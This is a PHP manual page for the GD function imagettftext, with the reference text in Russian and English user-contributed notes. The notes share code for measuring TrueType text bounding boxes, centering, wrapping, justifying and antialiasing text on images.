This script shows you side by side the difference between a font rendered at a certain size and the same font rendered at some multiple of that size and then scaled down by the same multiple. It seems to help small sizes and affects large ones less. This script lets you see if it is worth implementing for your situation. Included is the great "imagettfbboxextended" function by mike at mikeleigh dot com below.

$size = 30;
$factor = 16;

$smallSize = imagettfbboxextended($size, 0, "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
$smallWidth = $smallSize['width'];
$smallHeight = $smallSize['height'];
$canvas = imagecreatetruecolor($smallWidth + 20, $smallHeight * 2 + 20);
imagefill($canvas, 0, 0, imagecolorallocate($canvas, 255, 255, 255));
imagettftext($canvas, $size, 0, 10 + $smallSize['x'], 10 + $smallSize['y'], imagecolorallocate($canvas, 0, 0, 0), "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");

$largeSize = imagettfbboxextended($size * $factor, 0, "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
$largeWidth = $largeSize['width'];
$largeHeight = $largeSize['height'];
$temp = imagecreatetruecolor($largeWidth, $largeHeight);
imagefill($temp, 0, 0, imagecolorallocate($canvas, 255, 255, 255));
imagettftext($temp, $size * $factor, 0, $largeSize['x'], $largeSize['y'], imagecolorallocate($temp, 0, 0, 0), "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
imagecopyresampled($canvas, $temp, 10 + $smallSize['x'], 10 + $smallSize['y'] + 10, 0, 0, $smallWidth, $smallHeight, $largeWidth, $largeHeight);
imagepng($temp, "temp.png");

imagepng($canvas, "test.png");

function imagettfbboxextended($size, $angle, $fontfile, $text) {
    /*this function extends imagettfbbox and includes within the returned array
    the actual text width and height as well as the x and y coordinates the
    text should be drawn from to render correctly.  This currently only works
    for an angle of zero and corrects the issue of hanging letters e.g. jpqg*/
    $bbox = imagettfbbox($size, $angle, $fontfile, $text);

    //calculate x baseline
    if($bbox[0] >= -1) {
        $bbox['x'] = abs($bbox[0] + 1) * -1;
    } else {
        //$bbox['x'] = 0;
        $bbox['x'] = abs($bbox[0] + 2);
    }

    //calculate actual text width
    $bbox['width'] = abs($bbox[2] - $bbox[0]);
    if($bbox[0] < -1) {
        $bbox['width'] = abs($bbox[2]) + abs($bbox[0]) - 1;
    }

    //calculate y baseline
    $bbox['y'] = abs($bbox[5] + 1);

    //calculate actual text height
    $bbox['height'] = abs($bbox[7]) - abs($bbox[1]);
    if($bbox[3] > 0) {
        $bbox['height'] = abs($bbox[7] - $bbox[1]) - 1;
    }

    return $bbox;
}
mike at mikeleigh dot com 28-May-2007 07:05
I have been testing this function for a while now and have come up with many of the same issues that other people have touched upon.  Not being able to calculate the width of the text correctly.  Or if a solution is found then it won't work with a hanging letter or a negative start letter like 'j'.

Like Ralph I also wanted to draw a box around some text and this would require me being pixel perfect with the font.  The trouble is I did not know which font would be used or which size.  This led me to come up with a solution which I am sharing below.

<?php
function imagettfbboxextended($size, $angle, $fontfile, $text) {
    /*this function extends imagettfbbox and includes within the returned array
    the actual text width and height as well as the x and y coordinates the
    text should be drawn from to render correctly.  This currently only works
    for an angle of zero and corrects the issue of hanging letters e.g. jpqg*/
    $bbox = imagettfbbox($size, $angle, $fontfile, $text);

    //calculate x baseline
    if($bbox[0] >= -1) {
        $bbox['x'] = abs($bbox[0] + 1) * -1;
    } else {
        //$bbox['x'] = 0;
        $bbox['x'] = abs($bbox[0] + 2);
    }

    //calculate actual text width
    $bbox['width'] = abs($bbox[2] - $bbox[0]);
    if($bbox[0] < -1) {
        $bbox['width'] = abs($bbox[2]) + abs($bbox[0]) - 1;
    }

    //calculate y baseline
    $bbox['y'] = abs($bbox[5] + 1);

    //calculate actual text height
    $bbox['height'] = abs($bbox[7]) - abs($bbox[1]);
    if($bbox[3] > 0) {
        $bbox['height'] = abs($bbox[7] - $bbox[1]) - 1;
    }

    return $bbox;
}
?>

The function above gives the correct x and y coordinates that the text should be drawn from and also gives the actual image width and height.  This has been tested with various fonts and sizes ranging from 6 up to 144 points.  Some of the output will appear to be incorrect and have an extra pixel on the right, using verdana at size 144 and outputting the character 'Q' for example.  This is not an error as this is part of the anti-aliasing of the font output.

Example Usage:
<?php
$font = 'c:\windows\fonts\verdana.ttf';
$font_size = 144;
$text = 'jUyZgQ';
$bbox = imagettfbboxextended($font_size, 0, $font, $text);
?>

Return Values:
Array
(
    [0] => -8
    [1] => 40
    [2] => 715
    [3] => 40
    [4] => 715
    [5] => -177
    [6] => -8
    [7] => -177
    [x] => 6
    [width] => 722
    [y] => 176
    [height] => 216
)

Further notes can be found here along with images of the output of the function http://mikeleigh.com/links/imagettfbbox
lassial dot gmail dot com 24-May-2007 04:46
Ralph Bolton commented about the difference in calculating the bounding box size vs. aligning text base line.

The workaround for this issue is to calculate the difference in height between a character going below baseline and one above the baseline. This is likely going to vary from font to font, so I'd suggest something like this:

<?php

function fontBaselineOffset($font, $fontSize)
{
//this should be above baseline
$test2="H";
//some of these additional letters should go below it
$test3="Hjgqp";

//get the dimension for these two:

$box2 = imageTTFBbox($fontSize,0,$font,$test2);
$box3 = imageTTFBbox($fontSize,0,$font,$test3);

//return the offset value

return  abs((abs($box2[5]) + abs($box2[1])) - (abs($box3[5]) + abs($box3[1])));

}
?>

This is not perfect yet. You should define a range of allowed characters that can go below baseline, compare them to the ones actually found in your string and use them instead of the string $test3 used in the example function above. This should avoid problems with letters that go further below baseline than the others (e.g. there could be a difference between 'g' and 'p')
ralphbolton at mail2sexy dot com 23-Apr-2007 09:16
There's a bit of an annoyance with measuring font sizes and drawing boxes around text. When fonts are measured using ImageTTFbbox, the correct vertical height is returned. That is, the measurement of the phrase "Hanging" will be from the top of the "H" to the bottom of the "g".

The problem is that functions like imageTTFtext align with the "line" of the text - that is, in the phrase "Hanging", the alignment is below the "H", not the bottom of the "g". That means that if you draw a rectangle behind your text, it'll be incorrectly aligned because the hanging "g" will be outside the box.

For example, this doesn't work as you might expect (because the "g" hangs below the box):
<?php
// Get the size of the font box
$textbox = imageTTFBbox($size, 0, $font, 'Hanging');
$textwidth = abs($textbox[4] - $textbox[0]);
$textheight = abs($textbox[5] - $textbox[1]);

// Now draw a rectangle on the image
$colour = ImageColorAllocate($im, 100, 100, 100);
imagefilledrectangle($im, $x, $y - $textheight, $x + $textwidth, $y, $colour );

// Now draw the text
$black = ImageColorAllocate($im, 0, 0, 0);
ImageTTFText($image['resource'], $size, 0, $x, $y, $black, $font, 'Hanging');
?>
It also seems that the rectangle in the above example is located 1 pixel to the left of the text.

I haven't found a way to resolve this problem correctly. Instead, I have enlarged the rectangle and then put the text into it. I don't think this will work absolutely correctly for all fonts, so it's not exactly a perfect solution. However, it's better than nothing! Here is a snippet of it:
<?php
$enlargex = $textwidth * 0.08;
$enlargey = $textheight * 0.1;
$enlargey2 = $textheight * 0.5;

// Now draw a rectangle on the image
$colour = ImageColorAllocate($im, 100, 100, 100);
imagefilledrectangle($im, $x - $enlargex, $y - $textheight - $enlargey, $x + $textwidth + $enlargex, $y + $enlarge2, $colour );
?>
marclaz 31-Jul-2006 06:13
Please note that as imageTTFBbox and imageTTFText functions return an array of coordinates which could be negative numbers care must be taken with height and width calculations.

The rigth way to do that is to use the abs() function:

for an horizontal text:

$box = @imageTTFBbox($size,0,$font,$text);
$width = abs($box[4] - $box[0]);
$height = abs($box[5] - $box[1]);

Then to center your text at ($x,$y) position the code should be like that:

$x -= $width/2;
$y += $heigth/2;

imageTTFText($img,$size,0,$x,$y,$color,$font,$text);

this because (0,0) page origin is topleft page corner and (0,0) text origin is lower-left readable text corner.

Hope this help.
peisenmann at gmail dot com 28-Dec-2005 06:41
Another function for centered text string.
What it does: Generate a truecolor .png image of a text string. The image will be just large enough encompass the text and a 2 px border and the text will be centered in it.

It is called from any other page like so...
<img src="linkImg.php?text=php.net is great&border=out" /> // Text with #&+"'\<> will need to be escaped, but I've found spaces don't cause errors. I haven't tested this with any other languages.

The following code is the file named linkImg.php
The file was not designed to have anything else here with it, and the open and close php tags should the the very first and very last characters of the page respectively, as outside whitespace can be a little evil sometimes.
<?php
//Obtain text and border via GET
//Border can be out, in, or flat
$text = $_GET['text'];
$border = $_GET['border'];

  $font = "fontpath"; //(str) "fonts/sasquatchlives.ttf"
  $fontsize = font size; //(int) pixels in GD 1, or points in GD 2

//Register box
$box = imagettfbbox ($fontsize, 0, $font, $text);
//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH= $box[3]-$box[5];
//Add padding
$paddingx = 10;
$paddingy = 10;
//Set image dimentions
$width = $textW+$paddingx;
$height= $textH+$paddingy;

//Bottom left corner of text
$textx = $paddingx/2;
$texty = $height - $paddingy/2;

//Shadow offset (pixels)
$shadoffx = 1;
$shadoffy = 1;

//Create the image
 $img = imagecreatetruecolor($width,$height);
//Define some colors
 $white = imagecolorallocate($img,255,255,255);
 $black = imagecolorallocate($img,0,0,0);
 $lightgrey = imagecolorallocate($img,200,200,200);
 $grey = imagecolorallocate($img,100,100,100);
//Define Text (fg) and background (bg) colors
 $bgcol = imagecolorallocate($img,192,213,196); //Celadon (light pastel green)
 $fgcol = imagecolorallocate($img,243,104,88); //Peach
// Fill image with background color
 imagefill($img,0,0,$bgcol);

//Write Shadow
imagettftext($img, $fontsize, 0, $textx+$shadoffx, $texty+$shadoffy, $grey, $font, $text);

//Write Text
imagettftext($img, $fontsize, 0, $textx, $texty, $fgcol, $font, $text);

//Bordering

   //Embossed border (button-looking)
 if ($border == "out")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$lightgrey);imageline ($img,1,1,1,$height-1,$lightgrey);
   imageline ($img,0,$height-1,$width-1,$height-1,$black);imageline ($img,$width-1,$height-1,$width-1,0,$black);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);

  }
    //Flat border
 if ($border == "flat")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);
  }

    //Engraved border (pushed button)
 if ($border == "in")
  {
   imageline ($img,0,0,$width,0,$black);imageline ($img,0,0,0,$height,$black);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$lightgrey);imageline ($img,$width-2,$height-2,$width-2,2,$lightgrey);
  }

// Header info
 header("Content-type: image/png");
//Sends the image
 imagepng($img);
 imagedestroy($img);
?>

Hope this helps someone!
-Patrick-
ryan at retronetworks dot com 28-Mar-2005 07:46
Here is a function that lets you write a string with your own "font tracking" level (the amount of pixels separating each character).  It uses imagettfbbox to determine the width of each character, so it doesn't discriminate against the skinnier of characters.  For this example, let $t = the amount of distance in pixels you want to separate each character from its neighbors.

<?php
function ImageTTFTextWithTracking($im, $size, $angle, $t, $x, $y, $color, $font, $text) {
    $numchar = strlen($text);
    for($i = 0; $i < $numchar; $i++) {
        # Assign character
        $char[$i] = substr($text, $i, 1);

        # Write character
        imagettftext($im, $size, $angle, ($x + $w + ($i * $t)), $y, $color, $font, $char[$i]);

        # Get width of character
        $width = imagettfbbox($size, $angle, $font, $char[$i]);
        $w = $w + $width[2];
    }
}
?>

Be aware that it currently does not work for angles other than the 0 default (I have no need for that).


Рисование текста на изображении шрифтом TrueType

  • « imagettfbbox
  • imagetypes »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование текста на изображении шрифтом TrueType

imagettftext

(PHP 4, PHP 5, PHP 7, PHP 8)

imagettftext — Рисование текста на изображении шрифтом TrueType

Описание

imagettftext(
GdImage $image,
float $size,
float $angle,
int $x,
int $y,
int $color,
string $font_filename,
string $text,
array $options = []
): array|false

Наносит текст text поверх изображения, используя TrueType шрифт.

Замечание:

До PHP 8.0.0 imagefttext() - это расширенный вариант imagettftext(), который дополнительно поддерживает extrainfo. Начиная с PHP 8.0.0, imagettftext() является псевдонимом imagefttext().

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

size

Размер шрифта в типографских пунктах.

angle

Угол в градусах, 0 градусов означает расположение текста слева направо. Положительные значения означают поворот текста против часовой стрелки. Например, текст повёрнутый на 90 градусов нужно будет читать снизу вверх.

x

Координаты x и y определяют отправную точку для первого символа текста (конкретно, левый нижний угол символа). Здесь есть отличие от функции imagestring(), в которой x и y определяют верхний левый угол первого символа. Например, "верхний левый" имеет координаты 0,0.

y

y-координата. Это позиция базовой линии шрифта, в общем случае она не совпадает с низшей точкой в символе.

color

Индекс цвета. Использование отрицательных индексов создаёт эффект выключенного сглаживания. Смотрите imagecolorallocate().

fontfile

Путь к шрифту TrueType, который вы хотите использовать.

В зависимости от того, какая библиотека GD используется в PHP, если fontfile не начинается с символа /, то к имени файла будет добавлено .ttf и библиотека будет пытаться искать это имя файла по определённому библиотекой пути шрифтов.

При использовании библиотеки GD версии ниже 2.0.18, в качестве разделителя путей для разных файлов шрифтов используется пробел, а не точка с запятой. Непреднамеренное использование этой особенности приведёт к предупреждению: Warning: Could not find/open font. Единственным корректным решением для этих версий библиотек будет перемещение файлов шрифтов в директорию не содержащую пробелов.

Во многих случаях, когда шрифт находится в том же каталоге, что и скрипт PHP, поможет следующий трюк.

<?php
// Установка переменной окружения для GD
putenv('GDFONTPATH=' . realpath('.'));

// Имя шрифта для использования (обратите внимание, что расширение .ttf не указывается)
$font = 'SomeFont';
?>

Замечание:

Обратите внимание, что open_basedir не применяется к fontfile.

text

Текстовая строка в кодировке UTF-8.

Для доступа к символам после 127го можно использовать числовые ссылки (в формате: &#8364;). Также поддерживается шестнадцатеричный формат (&#xA9;). Строки в кодировке UTF-8 можно передавать напрямую.

Именованные сущности, вроде &copy;, не поддерживаются. Используйте функцию html_entity_decode(), чтобы декодировать их в UTF-8 строки.

Если символ не поддерживается шрифтом, вместо него будет нарисован незакрашенный прямоугольник.

Возвращаемые значения

Возвращает массив из 8 элементов, представляющих 4 точки - координаты углов рамки обрамляющей текст. Точки представлены в таком порядке: левый нижний угол, правый нижний, верхний правый, верхний левый. Углы указаны относительно текста, то есть "верхний левый" означает верхний левый угол текста, если расположить его горизонтально. В случае возникновения ошибки функция вернёт false.

Список изменений

Версия | Описание
8.0.0 | Добавлен параметр options.

Примеры

Пример #1 Пример использования imagettftext()

В этом примере будет создано изображение PNG с белым фоном размером 400x30 пикселов и надписью "Тест..." черным цветом (с серой тенью) шрифтом Arial.

<?php
// Тип содержимого
header('Content-Type: image/png');

// Создание изображения
$im = imagecreatetruecolor(400, 30);

// Создание цветов
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 399, 29, $white);

// Текст надписи
$text = 'Тест...';
// Замена пути к шрифту на пользовательский
$font = 'arial.ttf';

// Тень
imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);

// Текст
imagettftext($im, 20, 0, 10, 20, $black, $font, $text);

imagepng($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagettftext()

Примечания

Замечание: Эта функция доступна только в случае, если PHP был скомпилирован с поддержкой freetype (--with-freetype-dir=DIR)

Смотрите также

  • imagettfbbox() - Получение параметров рамки обрамляющей текст написанный TrueType шрифтом
  • imagefttext() - Нанесение текста на изображение, используя шрифты FreeType 2

User Contributed Notes

badrou14 at yahoo dot fr 24-Apr-2021 03:49
for windows you can use this code thanks to Ohmycode
 the link of his solution : https://ohmycode.wordpress.com/2008/09/20/imagettftext-gdfontpath-et-ttf-sous-windows/
<?php

$font = realpath(".")."\\arial.ttf";

$black = imagecolorallocate($im, 0, 0, 0);

$im = imagecreatetruecolor(400, 30);

imagettftext($im, 20, 0, 10, 20, $black, $font, "coucou");
?>
simbiat at bk dot ru 02-May-2015 02:15
Another way to wrap and center using wordwrap and learning the number of lines in the result of that wordwrap

<?php

$text="privet privet privet privet privet privet2 privet2 privet2 privet2 privet2 privet3";
$text=wordwrap($text, 35, "\n", TRUE);

//setting the image header in order to proper display the image
header("Content-Type: image/png");
//try to create an image
$im = @imagecreate(460, 215)
    or die("Cannot Initialize new GD image stream");
//set the background color of the image
$background_color = imagecolorallocate($im, 0x00, 0x00, 0x00);
//set the color for the text
$text_color = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
//adf the string to the image

$font = "verdana.ttf";
$font_size = 20;
$angle = 0;

$splittext = explode ( "\n" , $text );
$lines = count($splittext);

foreach ($splittext as $text) {
    $text_box = imagettfbbox($font_size,$angle,$font,$text);
    $text_width = abs(max($text_box[2], $text_box[4]));
    $text_height = abs(max($text_box[5], $text_box[7]));
    $x = (imagesx($im) - $text_width)/2;
    $y = ((imagesy($im) + $text_height)/2)-($lines-2)*$text_height;
    $lines=$lines-1;
    imagettftext($im, $font_size, $angle, $x, $y, $text_color, $font, $text);
}

imagepng($im);
imagedestroy($im);
?>
suyog at suyogdixit dot com 30-Oct-2013 10:46
For your general edification: The following drop-in function will place a block of fully justified text onto a GD image. It is a little CPU heavy, so I suggest caching the output rather than doing it on-the-fly.

Arguments:

$image - the GD handle of the target canvas
$size - text size
$angle - slope of text (does not work very well), leave at 0 for horizontal text
$left - no. of pixels from left to start block
$top - no. of pixels from top to start block
$color - handle for colour (imagecolorallocate result)
$font - path to .ttf font
$text - the text to wrap and justify
$max_width - the width of the text block within which the text should be wrapped and fully justified
$minspacing - the minimum number of pixels between words
$linespacing - a multiplier of line height (1 for normal spacing; 1.5 for line-and-a-half etc.)

eg.
$image = ImageCreateFromJPEG( "sample.jpg" );
$cor = imagecolorallocate($image, 0, 0, 0);
$font = 'arial.ttf';
$a = imagettftextjustified($image, 20, 0, 50, 50, $color, $font, "Shree", 500, $minspacing=3,$linespacing=1);
header('Content-type: image/jpeg');
imagejpeg($image,NULL,100);

function imagettftextjustified(&$image, $size, $angle, $left, $top, $color, $font, $text, $max_width, $minspacing=3,$linespacing=1)
{
$wordwidth = array();
$linewidth = array();
$linewordcount = array();
$largest_line_height = 0;
$lineno=0;
$words=explode(" ",$text);
$wln=0;
$linewidth[$lineno]=0;
$linewordcount[$lineno]=0;
foreach ($words as $word)
{
$dimensions = imagettfbbox($size, $angle, $font, $word);
$line_width = $dimensions[2] - $dimensions[0];
$line_height = $dimensions[1] - $dimensions[7];
if ($line_height>$largest_line_height) $largest_line_height=$line_height;
if (($linewidth[$lineno]+$line_width+$minspacing)>$max_width)
{
$lineno++;
$linewidth[$lineno]=0;
$linewordcount[$lineno]=0;
$wln=0;
}
$linewidth[$lineno]+=$line_width+$minspacing;
$wordwidth[$lineno][$wln]=$line_width;
$wordtext[$lineno][$wln]=$word;
$linewordcount[$lineno]++;
$wln++;
}
for ($ln=0;$ln<=$lineno;$ln++)
{
$slack=$max_width-$linewidth[$ln];
if (($linewordcount[$ln]>1)&&($ln!=$lineno)) $spacing=($slack/($linewordcount[$ln]-1));
else $spacing=$minspacing;
$x=0;
for ($w=0;$w<$linewordcount[$ln];$w++)
{
imagettftext($image, $size, $angle, $left + intval($x), $top + $largest_line_height + ($largest_line_height * $ln * $linespacing), $color, $font, $wordtext[$ln][$w]);
$x+=$wordwidth[$ln][$w]+$spacing+$minspacing;
}
}
return true;
}
John Conde 01-Nov-2010 10:17
If you want to create a paragraph you will need to break your text up into lines and then place each line individually one below the next.

Here's a basic example of how to do that:

<?php
// Basic font settings
$font ='./times.ttf';
$font_size = 15;
$font_color =  0x000000

// Text to be placed as a paragraph
$text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer non nunc lectus. Curabitur hendrerit bibendum enim dignissim tempus. Suspendisse non ipsum auctor metus consectetur eleifend. Fusce cursus ullamcorper sem nec ultricies. Aliquam erat volutpat. Vivamus massa justo, pharetra et sodales quis, rhoncus in ligula. Integer dolor velit, ultrices in iaculis nec, viverra ut nunc.';

// Break it up into pieces 125 characters long
$lines = explode('|', wordwrap($text, 115, '|'));

// Starting Y position
$y = 513;

// Loop through the lines and place them on the image
foreach ($lines as $line)
{
    imagettftext($image, $font_size, 0, 50, $y, $font_color, $font, $line);

    // Increment Y so the next line is below the previous line
    $y += 23;
}

?>
JohnB 28-Feb-2010 11:58
Just in case you were--like me--unaware of this, in Windows, ttf fonts don't necessarily antialias at all font sizes. Arial appears to work at all sizes but Calibri, for example, only antialiases at a point size of 8 and then at all sizes 16 and up. Not only that but at fonts sizes like 10 and 12 characters don't print at the expected angle: the characters are all printed upright on an angled baseline.
web at evanreeves dot com 22-May-2009 12:50
I was having trouble trying to render non antialiased text using a pixel font. The tips about setting a negative value for the color are valid, but I was still having trouble with the text I was trying to render because it was black. I discovered that if I changed the imagecolorallocate() function from:

$color = imagecolorallocate($base, 0, 0, 0);

to

$color = imagecolorallocate($base, 1, 1, 1); (near black)

and then used the negative value for the color in imagettftext(), it would work properly. The difference is that my first implementation set $color = 0. Obviously, you can't have $color = -0, it made no difference. When I switched to (1,1,1) it became $color = 1 which I could take a negative value for.
philip at webdesco dot com 29-Apr-2009 05:51
Hi,
for the dummies (like myself) if you are having problems including your font file, prefix the file name with ./

On my development server the following worked fine
$myfont = "coolfont.ttf";

on my hosting server the only way i could get the font to work was as follows
$myfont = "./coolfont.ttf";

hope this helps someone out!
ben at spooty dot net 11-Mar-2009 06:40
Here's a simple function to wrap text going into an image. It'll wrap onto as many lines as it needs to, but $angle has to be zero. The $width parameter is the width of the image.

<?php
function wrap($fontSize, $angle, $fontFace, $string, $width){

    $ret = "";

    $arr = explode(' ', $string);

    foreach ( $arr as $word ){

        $teststring = $ret.' '.$word;
        $testbox = imagettfbbox($fontSize, $angle, $fontFace, $teststring);
        if ( $testbox[2] > $width ){
            $ret.=($ret==""?"":"\n").$word;
        } else {
            $ret.=($ret==""?"":' ').$word;
        }
    }

    return $ret;
}
?>
s.pynenburg _at_ gm ail dotcom 07-Aug-2008 07:31
I had an image generator where the user could position where they wanted the text to begin - however it kept going off the side of an image. So I made this basic function: it measures if the inputted text and x-position will cause the string to go off the edge, and if so, it will fit as much as it can on the first line, then go down to the next one.
Limitations:
-It only performs this once (i.e. it won't split into three lines)
-I'm pretty sure it won't work with angled text.

<?PHP

function imagettftextwrap($im, $size, $angle, $x_pos, $y_pos, $color, $font, $instr)
{
    $box = @imagettfbbox($size, 0, $font, $instr);
    $width = abs($box[4] - $box[0]);
    $height = abs($box[3] - $box[5]);
    $overlap = (($x_pos + $width) - imagesx($im));
    if($overlap > 0) //if the text doesn't fit on the image
    {
        $chars = str_split($instr);
        $str = "";
        $pstr = "";
        for($m=0; $m < sizeof($chars); $m++)
        {
            $bo = imagettfbbox($fsize1, 0, $font1, $str);
            $wid = abs($bo[4] - $bo[0]);
            if(($x_pos + $wid) < imagesx($im)) //add one char from the string as long as it's not overflowing
            {
                $pstr .= $chars[$m];
                $bo2 = imagettfbbox($fsize1, 0, $font1, $pstr);
                $wid2 = abs($bo2[4] - $bo2[0]);
                if(($x_pos + $wid2) < imagesx($im))
                {
                    $str .= $chars[$m];
                }
                else
                {
                    break;
                }
            }
            else
            {
                break;
            }
        }
        $restof = "";
        for($l=$m; $l < sizeof($chars); $l++)
        {
            $restof .= $chars[$l]; //add the rest of the string to a new line
        }
        imagettftext($im, $size, $angle, $x_pos, $y_pos, $color, $font, $str); // print out the smaller line
        imagettftext($im, $size, $angle, 0, $y_pos + $height, $color, $font, $restof); //and the rest of it
    }
    else
    {
        imagettftext($im, $size, $angle, $x_pos, $y_pos, $color, $font, $instr); //otherwise just do normally
    }

}

?>
Valentijn de Pagter 16-May-2008 10:13
If you're looking for easy text alignment, you need to use the imagettfbbox() command. When given the correct parameters, it will return the boundaries of your to-be-made text field in an array, which will allow you to calculate the x and y coordinate that you need to use for centering or aligning your text.

A horizontal centering example:

<?php

$tb = imagettfbbox(17, 0, 'airlock.ttf', 'Hello world!');

?>

$tb would contain:

Array
(
    [0] => 0 // lower left X coordinate
    [1] => -1 // lower left Y coordinate
    [2] => 198 // lower right X coordinate
    [3] => -1 // lower right Y coordinate
    [4] => 198 // upper right X coordinate
    [5] => -20 // upper right Y coordinate
    [6] => 0 // upper left X coordinate
    [7] => -20 // upper left Y coordinate
)

For horizontal alignment, we need to substract the "text box's" width { $tb[2] or $tb[4] } from the image's width and then substract by two.

Saying you have a 200px wide image, you could do something like this:

<?php

$x = ceil((200 - $tb[2]) / 2); // lower left X coordinate for text
imagettftext($im, 17, 0, $x, $y, $tc, 'airlock.ttf', 'Hello world!'); // write text to image

?>

This'll give you perfect horizontal center alignment for your text, give or take 1 pixel. Have fun!
damititi at gmail dot com 22-Apr-2008 01:21
First of all, thanks sk89q for the func! it was exactly I was looking for.

I made a change. Depending on the letter, the text were incorrect vertical aligned.
I replace the line:
                $line_height = $dimensions[1] - $dimensions[7];
for the following:
                $line_height = $size+4;

No matter if mama or jeje is written, the vertical position will be the same.
llewellyntd at gmail dot com 12-Mar-2008 03:27
Hi All,

I struggled for moths to do a decent text warp with GD lib. Here is the code that I made use of:

<?php
//word wrap
$warpText = wordwrap($text, 30, "\n");
//display text
imagettftext($image, $fontSize, 0, $x, $y, $fontColor, $font, $warpText);
?>

Hope this helps somebody.

Cheers
m0r1arty at mail dot ru 13-Feb-2008 10:50
Sorry my English.
I have trouble with using imagettftext under Windows.
I can't used short name of fonts(example "arial","arialbd.ttf" etc). PHP say what not find this font.
Manipulation with environment GDFONTPATH lost.
This is my solution
<?php
$dir=opendir('./font/');//directory with fonts
if($dir)
    while($f=readdir($dir)){
        if(preg_match('/\.ttf$/',$f)){
            $font=explode('.',$f);
            define($font[0],realpath('./font/'.$f));
        }
    }
if($dir)
    closedir($dir);
?>
Directory "font" have two file: arial.ttf and arialbd.ttf
Now one can using constant font name by calling imagettftext:
imagettftext($img,12,0,25,28,$color,arialbd,'some text');
matt at mmkennedy dot net 17-Jan-2008 07:11
For anyone attempting to print black barcodes, and trying to turn of anti-aliasing, remember that -1 * [0,0,0] is 0, not -0.
denis at reddodo dot com 24-Dec-2007 06:05
Small but very dangerous bug in function ttfWordWrappedText, written by waage, just try ttfWordWrappedText("aaaaa\naa",4) and your script will run into endless loop.
You can fix it with code below:
<?php
    function ttfWordWrappedText_fixed($text, $strlen = 8) {
    $text = urldecode($text);
    $text = explode("\n", $text);
    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen  && strstr($text, ' ') !== FALSE) {
           $startPoint = strpos($text, ' ');
           $line[$i][] =substr($text,0,$startPoint);
           $text = trim(strstr($text, ' '));
        }
        $line[$i][] = trim($text);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>
better solutions is to check input text for lines longer than needed wrap point.
denis at reddodo dot com 24-Dec-2007 05:46
Small but very dangerous bug in function ttfWordWrappedText, written by waage, just try ttfWordWrappedText("aaaaa\naa",4) and your script will run into endless loop.
You can fix it with code below:
<?php
    function ttfWordWrappedText_fixed($text, $strlen = 8) {
    $text = urldecode($text);
    $text = explode("\n", $text);

    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen && stristr($text, ' ') !== FALSE) {
           $startPoint = $strlen - 1;
           while(substr($text, $startPoint, 1) != " ") {
                $startPoint--;
           }
           $line[$i][] = trim(substr($text, 0, $startPoint));
           $text = substr($text, $startPoint);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>
better solutions is to check input text for lines longer than needed wrap point.
dotpointer 09-Dec-2007 04:40
For those trying to disable the font smoothing or font cleartype:ing, take a look at the color parameter for this function. The correct word for what you're looking for is antialiasing.
Anonymous 16-Nov-2007 04:14
Just to comment on Sohel Taslims great function...
if anyone needs to add BACKGROUND TRANSPARENCY to this kind of function (which almost does everyone one would want already) then add

$bg_color = imagecolorat($im,1,1);
imagecolortransparent($im, $bg_color);

ABOVE the "if($L_R_C == 0){ //Justify Left"  line
waage 07-Nov-2007 07:31
I had some issues trying to get both word wrapping and new line detection but with some of the help from the comments below i got this. (thanks to jwe for the main part of the code here)

<?php
function ttfWordWrappedText($text, $strlen = 38) {
    $text = urldecode($text);
    $text = explode("\n", $text);

    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen) {
           $startPoint = $strlen - 1;
           while(substr($text, $startPoint, 1) != " ") {
                $startPoint--;
           }
           $line[$i][] = trim(substr($text, 0, $startPoint));
           $text = substr($text, $startPoint);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>

This returns an array for each newline entered and subarray for each wordwrapped line to print.

ie.

Array
(
    [0] => Array
        (
            [0] => This is the first long line
            [1] => that i entered.
        )

    [1] => Array
        (
            [0] => And this is the new line after that.
        )
)
mitch at electricpulp dot com 20-Sep-2007 07:35
If you're having issues with fonts not working... (Could not find/open font) check your permissions on the folder/font files and make sure they're 775, especially if you've just pulled them from a windows box. Hope this helps!
Ole Clausen 11-Sep-2007 09:11
Comment to: Sohel Taslim (03-Aug-2007 06:19)

Thanks for the function which I have modified a bit. In the new version the lines have equal space between them (the g's in your example create bigger space between the lines) - set by the parameter '$Leading'.

I have used the for-loop for better performance and slimmed the rest a little  :)

    /**
     * @name                    : makeImageF
     *
     * Function for create image from text with selected font. Justify text in image (0-Left, 1-Right, 2-Center).
     *
     * @param String $text     : String to convert into the Image.
     * @param String $font     : Font name of the text. Kip font file in same folder.
     * @param int    $Justify  : Justify text in image (0-Left, 1-Right, 2-Center).
